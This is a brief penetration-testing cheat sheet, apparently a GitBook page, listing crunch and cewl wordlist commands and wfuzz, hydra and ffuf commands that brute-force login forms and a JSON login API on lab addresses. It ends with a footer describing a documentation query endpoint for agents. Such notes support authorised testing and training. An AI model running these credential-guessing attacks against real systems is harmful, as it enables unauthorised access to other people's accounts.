# BruteForce

## Wordlist generator:

```bash
crunch 3 3 0123456789ABCDEF -o 3digit.txt
```

```bash
cewl -d 0 -m 5 -w usernames.txt http://10.10.128.143/team.php --lowercase
```

```bash
cewl -d 2 -m 5 -w passwords.txt http://MACHINE_IP --with-numbers
```

## Fuzzing:

```bash
wfuzz -c -z file,usernames.txt -z file,passwords.txt --hs "Please enter the correct credentials" -u http://10.10.128.143/login.php -d "username=FUZZ&password=FUZ2Z"
```

```bash
hydra -l '' -P 3digits.txt -f -v 10.10.172.186 http-post-form "/login.php:pin=^PASS^:Access denied" -s 8000
```

## for multiple position:

```bash
ffuf -w ~/vAPI/emails.txt:FUZZ1 -w ~/vAPI/passwords.txt:FUZZ2 -X POST -d '{"email":"FUZZ1","password":"FUZZ2"}' -H "Content-Type: application/json" -u http://192.168.1.26/vapi/api2/user/login -mc 200 -mode pitchfork -s
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://shahidulandshamim.gitbook.io/web-application/exploitation/bruteforce.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
